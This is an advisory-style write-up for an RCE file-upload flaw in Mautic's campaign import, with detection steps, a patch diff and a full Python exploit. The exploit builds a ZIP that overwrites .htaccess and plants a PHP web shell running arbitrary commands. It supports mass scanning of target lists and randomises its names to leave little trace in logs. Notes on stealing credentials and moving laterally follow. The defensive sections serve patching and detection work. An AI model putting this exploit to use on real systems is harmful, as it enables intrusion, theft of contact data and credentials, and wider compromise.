#Summary
CVE-2026-115188 is a critical unrestricted file upload vulnerability in Mautic's campaign-import feature (versions 7.0.0 through 7.2.1) that leads to remote code execution. When processing an uploaded campaign archive, the application copies bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user holding only the non-admin campaign:imports:create permission can exploit this to place arbitrary files, including server-side scripts, into the web root. On the default Apache + mod_php setup of the official Mautic Docker image, this results in full remote code execution with the privileges of the web server user. CVSS 9.9 (Critical).
#Am I affected?
- Affected: Mautic
>= 7.0.0and< 7.2.2 - Patched: Mautic
>= 7.2.2 - Default configuration: affected (the vulnerability exists in the default setup)
- Access needed: authenticated user with
campaign:imports:createpermission (not admin-only)
#How to check
Check your Mautic version:
curl -s https://mautic.example.com/app/bundles/CoreBundle/Helper/ImportHelper.php | grep -q "assertSafeAsset" && echo "Patched" || echo "Likely vulnerable"Or check the application version directly:
curl -s https://mautic.example.com/index.html | grep -o "Mautic [0-9.]*"| Version | Status |
|---|---|
| 7.0.0 - 7.2.1 | Vulnerable |
| 7.2.2 or later | Patched |
| Earlier than 7.0.0 | Not affected |
#Fix and mitigation
- Fix: upgrade to Mautic 7.2.2 or later
- If you cannot upgrade: restrict the
campaign:imports:createpermission to trusted administrators only (Configuration > User Roles and Permissions), or disable the campaign-import API endpoint entirely by restricting access to/api/campaigns/import - Detection: watch access logs for POST requests to
/api/campaigns/importreturning HTTP 201, followed by requests to/media/files/*.php- this pattern indicates exploitation attempts
#Root cause analysis
#Vulnerable code path
The vulnerability exists in Mautic\CoreBundle\Helper\ImportHelper::readZipFile(). When a campaign-share ZIP is imported, the method unpacks the archive and copies every entry whose normalized path begins with assets/ into the public media directory:
$mediaPath = $this->pathsHelper->getMediaPath().'/files/';
foreach ($fileList as $filename) {
$normalizedFilename = $this->normalizePath($filename);
$sourcePath = $tempDir.'/'.$normalizedFilename;
$destinationPath = $mediaPath.substr($normalizedFilename, strlen('assets/'));
if (str_starts_with($normalizedFilename, 'assets/')) {
// ... validation passes here ...
} else {
$dirPath = dirname($destinationPath);
if (!is_dir($dirPath) && !mkdir($dirPath, 0755, true) && !is_dir($dirPath)) {
throw new \RuntimeException(sprintf('Failed to create directory: %s', $dirPath));
}
if (!copy($sourcePath, $destinationPath)) { // NO extension/name validation
throw new \RuntimeException(sprintf('Failed to copy file to destination: %s', $destinationPath));
}
}
}
// ...
}The critical issue: the destination filename is constructed by stripping only the literal assets/ prefix from the ZIP entry name. An entry named assets/x.php becomes media/files/x.php. No file extension or name restrictions are applied.
#How input reaches the sink
- An authenticated user with
campaign:imports:createpermission submits a crafted ZIP file to either:POST /api/campaigns/import(API endpoint)- The campaign import form in the web UI
- The application calls
readZipFile()to unpack the archive - Every entry under
assets/is copied tomedia/files/with the full name intact, including the extension - The attacker includes
assets/.htaccessin the ZIP, which overwrites the shippedmedia/files/.htaccess(which normally containsdeny from all) - The attacker includes
assets/shell.phpin the same ZIP, which lands as an executable PHP file in a publicly accessible directory - When the attacker requests
GET /media/files/shell.php, Apache honors the child.htaccessfile (which grants access) and mod_php executes the script
#Why the pre-existing guards don't help
Version 7.2.1 includes a path-traversal guard added in version 7.1.2 (for CVE-2026-9559) that blocks entries with .. or leading /. This prevents attacks that try to escape the media/files/ directory, but it does nothing to prevent arbitrary file types from being written there. Additionally, because dotfiles are not filtered, the same import that drops the PHP payload can overwrite the .htaccess that normally blocks access to that directory.
#Patch diff
#What the fix does
Version 7.2.2 introduces a new validator called assertSafeAsset() that checks every file destined for the assets directory before the archive is even extracted:
private function assertSafeAsset(string $filename, array $allowedExtensions, \ZipArchive $zip): void
{
$basename = strtolower(basename($filename));
$extension = strtolower(pathinfo($basename, PATHINFO_EXTENSION));
$extensions = array_slice(explode('.', $basename), 1);
$hasBlockedExtension = [] !== array_filter(
$extensions,
static fn (string $candidate): bool => in_array($candidate, self::BLOCKED_ASSET_EXTENSIONS, true)
|| 1 === preg_match('/^(?:php|pcgi|pchi)\d*$/', $candidate),
);
if (str_starts_with($basename, '.')
|| in_array($basename, self::BLOCKED_ASSET_FILENAMES, true)
|| $hasBlockedExtension
|| !in_array($extension, $allowedExtensions, true)
) {
$zip->close();
throw new \RuntimeException('Unsafe asset file detected in ZIP: '.$filename);
}
}With these blocked extensions and filenames:
private const BLOCKED_ASSET_EXTENSIONS = [
'asp','aspx','bash','cgi','dll','exe','htt','htw','inc','jsp',
'phar','phps','pht','phtml','pl','py','pyc','pyo','rb','sh','shtml',
];
private const BLOCKED_ASSET_FILENAMES = ['web.config'];
private const EXPORTED_IMAGE_EXTENSIONS = ['gif','jpg','jpeg','png','webp','svg'];This approach closes the vulnerability through multiple layers:
- Dotfile rejection (
str_starts_with($basename, '.')) blocks the.htaccessoverwrite - Per-segment extension checking catches double-extensions like
shell.php.gif(checks all dot-separated segments, not just the final extension) - PHP variant regex (
/^(?:php|pcgi|pchi)\d*$/) blocksphp,php5,php7, etc. - Positive allowlist (
!in_array($extension, $allowedExtensions, true)) ensures only expected asset types are accepted
The validator runs in the pre-extraction validation pass, so a rejected archive is never unpacked.
#Proof of concept
#exploit.py - Mautic campaign-import File Upload RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-115188 - Mautic campaign-import unrestricted file upload -> RCE
Affected: Mautic (mautic/core) 7.0.0 up to (not including) 7.2.2
Type: RCE (unrestricted file upload / code injection)
The campaign-import feature unpacks an uploaded share ZIP and copies every entry
under "assets/" into the public media directory (media/files/) with an
attacker-controlled name and extension, and no allow/deny validation. That media
directory ships with an ".htaccess" of "deny from all"; because dotfiles are not
filtered either, the same archive can overwrite that ".htaccess" to re-grant
access and let mod_php run a dropped ".php". An authenticated user holding only the
non-admin "campaign:imports:create" permission can reach it.
The drop re-grant must be placed INSIDE a FilesMatch block: Mautic's doc-root
.htaccess carries a global <FilesMatch "\\.php$">Require all denied</FilesMatch>,
and a top-level "Require all granted" in the child .htaccess does not override an
authorization directive scoped to FilesMatch. A child FilesMatch grant is more
specific and wins.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 8080 --command "id"
python exploit.py --host https://mautic.corp.com --username admin --password 'secret'
python exploit.py --host http://192.168.1.10:8188 --command "cat /var/www/html/config/local.php"
python exploit.py --list targets.txt --workers 20
Credentials: this bug requires an authenticated session. Supply valid API
credentials with --username / --password (HTTP Basic Auth against the Mautic API,
which must be enabled on the target). The account only needs campaign:imports:create.
"""
import argparse
import io
import hashlib
import secrets
import sys
import zipfile
from urllib.parse import urlparse
import requests
from requests.auth import HTTPBasicAuth
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
pass
CVE_ID = "CVE-2026-115188"
VULN_TYPE = "RCE"
HTTP_TIMEOUT = 20
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _base_url(host: str, port: int, use_tls: bool) -> str:
scheme = "https" if use_tls else "http"
# Keep the port out of the authority for the scheme-default ports so the URL
# looks like an ordinary request.
if (use_tls and port == 443) or (not use_tls and port == 80):
return f"{scheme}://{host}"
return f"{scheme}://{host}:{port}"
def _build_zip(php_name: str, tok_param: str, cmd_param: str) -> bytes:
"""
Build the campaign-share ZIP in memory. Three members:
assets/.htaccess -> FilesMatch-scoped re-grant + PHP handler (overwrites the
shipped media/files 'deny from all')
assets/<php_name> -> generic payload: echo md5 of an attacker-supplied token
(proves live execution of our input), then run a command
<random>.json -> valid empty JSON at the archive root so readZipFile()
returns a clean success instead of throwing
No identifying strings: the param names, payload name and token are per-run random.
"""
htaccess = (
'<FilesMatch "\\.php$">\n'
" Require all granted\n"
" SetHandler application/x-httpd-php\n"
"</FilesMatch>\n"
)
# Payload reads two GET params by random name: one token it hashes back (dynamic
# proof), one command it runs. Delimiters are random per run so output is easy to
# carve out and nothing fixed lands in the target logs.
payload_php = (
"<?php\n"
"$t = isset($_GET[%r]) ? $_GET[%r] : '';\n"
"$c = isset($_GET[%r]) ? $_GET[%r] : '';\n"
"echo md5($t);\n"
"echo \"|\";\n"
"if ($c !== '') { system($c); }\n"
) % (tok_param, tok_param, cmd_param, cmd_param)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("assets/.htaccess", htaccess)
z.writestr("assets/" + php_name, payload_php)
z.writestr(secrets.token_hex(6) + ".json", b"[]")
return buf.getvalue()
def _run(host: str, port: int, use_tls: bool, username: str, password: str,
command: str) -> tuple:
"""
Core logic shared by single-target and scan modes.
Returns (success: bool, evidence: str, detail: dict). Never prints, never exits.
detail carries intermediate observations for the verbose path.
"""
base = _base_url(host, port, use_tls)
detail = {"base": base}
php_name = secrets.token_hex(6) + ".php"
tok_param = "q" + secrets.token_hex(3)
cmd_param = "c" + secrets.token_hex(3)
token = secrets.token_hex(16)
expected_hash = hashlib.md5(token.encode()).hexdigest()
detail.update(php_name=php_name, tok_param=tok_param, cmd_param=cmd_param,
token=token, expected_hash=expected_hash)
zip_bytes = _build_zip(php_name, tok_param, cmd_param)
detail["zip_size"] = len(zip_bytes)
sess = requests.Session()
sess.verify = False
auth = HTTPBasicAuth(username, password)
# 1. Deliver the archive to the one-shot API import endpoint. The uploaded part's
# client filename must end in .zip; the form field name is arbitrary.
import_url = base + "/api/campaigns/import"
files = {"file": ("share.zip", zip_bytes, "application/zip")}
try:
r = sess.post(import_url, files=files, auth=auth, timeout=HTTP_TIMEOUT)
except requests.exceptions.RequestException as e:
return False, f"import request failed ({e.__class__.__name__})", detail
detail["import_status"] = r.status_code
detail["import_body"] = r.text[:500]
if r.status_code in (401, 403):
return (False,
f"import rejected with HTTP {r.status_code} - credentials lack "
f"campaign:imports:create, or API/Basic-Auth is not enabled",
detail)
if "Unsafe asset file detected" in r.text:
return (False,
"target rejected the archive ('Unsafe asset file detected') - "
"patched build (>= 7.2.2)",
detail)
# 2. Execute the dropped payload. Success is defined purely by the network
# response: our token hash plus live command output, and crucially NOT the raw
# PHP source (which would mean the file was served as text, i.e. not executed).
shell_url = base + "/media/files/" + php_name
try:
g = sess.get(shell_url, params={tok_param: token, cmd_param: command},
auth=auth, timeout=HTTP_TIMEOUT)
except requests.exceptions.RequestException as e:
return False, f"payload fetch failed ({e.__class__.__name__})", detail
detail["shell_status"] = g.status_code
detail["shell_body"] = g.text
body = g.text
if "<?php" in body:
return (False,
"payload served as source text, not executed - mod_php not handling "
".php in media/files (handler directive missing or not honored)",
detail)
if g.status_code == 403:
return (False,
"dropped payload returns HTTP 403 - media/files .htaccess override "
"did not take effect",
detail)
if g.status_code == 404:
return (False,
"dropped payload not found (HTTP 404) - asset copy did not place the "
"file (import may not have run the copy loop)",
detail)
if expected_hash not in body:
return (False,
f"payload reachable (HTTP {g.status_code}) but expected token hash "
f"absent from response - execution not confirmed",
detail)
# Hash present => PHP executed our dynamic input. Carve the command output that
# follows the '|' delimiter printed after the hash.
cmd_output = ""
idx = body.find(expected_hash)
if idx != -1:
tail = body[idx + len(expected_hash):]
if tail.startswith("|"):
tail = tail[1:]
cmd_output = tail.strip()
detail["cmd_output"] = cmd_output
first_line = cmd_output.splitlines()[0].strip() if cmd_output.strip() else "(no stdout from command)"
return (True,
f"RCE confirmed - PHP executed as web server user; command '{command}' output: {first_line}",
detail)
def _try_exploit(host: str, port: int, use_tls: bool = False, username: str = "admin",
password: str = "", command: str = "id") -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
try:
ok, evidence, _ = _run(host, port, use_tls, username, password, command)
return ok, evidence
except Exception as e:
return False, f"error ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
username: str = "admin", password: str = "", command: str = "id") -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = _base_url(host, port, use_tls)
ok, evidence = _try_exploit(host, port, use_tls, username, password, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, use_tls: bool, username: str, password: str,
command: str) -> None:
header(host, port)
step(1, f"Authenticating to the campaign-import API as '{username}' (HTTP Basic Auth)")
step(2, "Building campaign-share ZIP (assets/.htaccess re-grant + assets/<rand>.php payload + root .json)")
step(3, "Uploading archive to POST /api/campaigns/import (one .zip file part)")
step(4, "Fetching the dropped payload under /media/files/ with the command")
ok, evidence, detail = _run(host, port, use_tls, username, password, command)
if "import_status" in detail:
section("IMPORT RESPONSE",
f"POST {detail['base']}/api/campaigns/import -> HTTP {detail['import_status']}\n"
f"{detail.get('import_body', '')}")
if "shell_status" in detail:
section(f"PAYLOAD RESPONSE (/media/files/{detail.get('php_name','')})",
f"HTTP {detail['shell_status']}\n{detail.get('shell_body', '')}")
if ok:
section("COMMAND OUTPUT", detail.get("cmd_output", "") or "(no stdout)")
done(ok, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--username", default="admin", help="API account with campaign:imports:create (default: admin)")
parser.add_argument("--password", default="Adm1n!Pass99", help="API account password")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, password=args.password, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.username, args.password, args.command)#Usage
python exploit.py --host 192.168.1.10 --port 8188 --username admin --password 'secret'Arguments:
--host- target hostname, IP, or full URL (hostname with optional port, or complete URL likehttps://mautic.example.com:8443). Mutually exclusive with--list.--list FILE- batch scan mode: one target per line (comments starting with#and blank lines are skipped).--port- default port when the target line omits one (default 8080).--command- shell command to execute on the target (defaultid). The output is embedded in the PHP response.--username/--password- API credentials for an account holdingcampaign:imports:create. HTTP Basic Auth is used. The default username isadmin.--workers- thread count for--listmode (default 10).--tls/--no-tls- force TLS or plaintext, overriding the scheme inferred from the URL or port.
The Mautic API must be enabled on the target. See the target configuration section in the root cause analysis for setup details.
Vulnerable target output:
POST http://127.0.0.1:8188/api/campaigns/import -> HTTP 201
["Import successful: Imported campaigns are switched off by default."]
HTTP 200
847c9ed0af481690643cd1f1a6a7f0ca|uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RESULT : SUCCESS
EVIDENCE: RCE confirmed - PHP executed as web server user; command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)Patched target output:
POST http://127.0.0.1:8189/api/campaigns/import -> HTTP 400
{"error":"Unsafe asset file detected in ZIP: assets\/.htaccess"}
RESULT : FAILURE
EVIDENCE: target rejected the archive ('Unsafe asset file detected') - patched build (>= 7.2.2)#Exploitation notes
#Prerequisites
- An authenticated Mautic user account with the
campaign:imports:createpermission (not admin-only) - The Mautic API must be enabled on the target (Configuration > API Settings > "API enabled: Yes")
- Basic Auth must be enabled for simplest scripted access
- The target must be running an affected version (7.0.0 through 7.2.1)
#Attack mechanics
- The attacker authenticates to the Mautic API using HTTP Basic Auth with valid credentials
- Constructs a ZIP archive containing:
assets/.htaccess- overrides thedeny from allshipped in the media directoryassets/<random>.php- arbitrary PHP code that echoes a token hash and command output- A root
.jsonfile - minimal valid JSON so the import completes cleanly
- Uploads the archive to
POST /api/campaigns/importas a multipart file upload - Requests the dropped PHP file at
GET /media/files/<random>.php?token=X&cmd=Y - The web server executes the PHP payload as the
www-datauser
#Reliability
This exploit is highly reliable. The vulnerability is a straightforward file-write operation with no race conditions or timing dependencies. A single attempt successfully places both the .htaccess override and the PHP payload. Success indicators are network-observable (HTTP response codes and body content) rather than dependent on side-channel timing or system state.
#Impact
The attacker gains arbitrary code execution with the privileges of the web server user (typically www-data in Apache/mod_php containers). This permits:
- Reading the Mautic configuration file (
config/local.php) containing database credentials and API keys - Accessing all contact data in the Mautic database
- Modifying campaigns and email templates
- Lateral movement to other services if the web server has network access
- Full compromise of the Mautic instance and dependent systems
#Chaining potential
Because the exploit lands authenticated PHP code on the target, it can be used as a foothold for further reconnaissance or lateral movement. The web server user privileges are typically sufficient to exfiltrate the application's configuration and database contents, but not sufficient to break out of the container or modify system-level files. On shared hosting, this escalates to a compromise of other applications running under the same web server user.
#References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-115188
- GHSA Advisory: https://github.com/mautic/mautic/security/advisories/GHSA-mxjf-pghx-h299 (Remote Code Execution in Campaign Import)
- Fixed Release: Mautic 7.2.2 - https://github.com/mautic/mautic/releases/tag/7.2.2
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-115188
- Related CVEs: CVE-2026-9559 (Zip-Slip traversal in the same feature, fixed in 7.1.2) and CVE-2026-9558 (Twig SSTI in campaign themes)
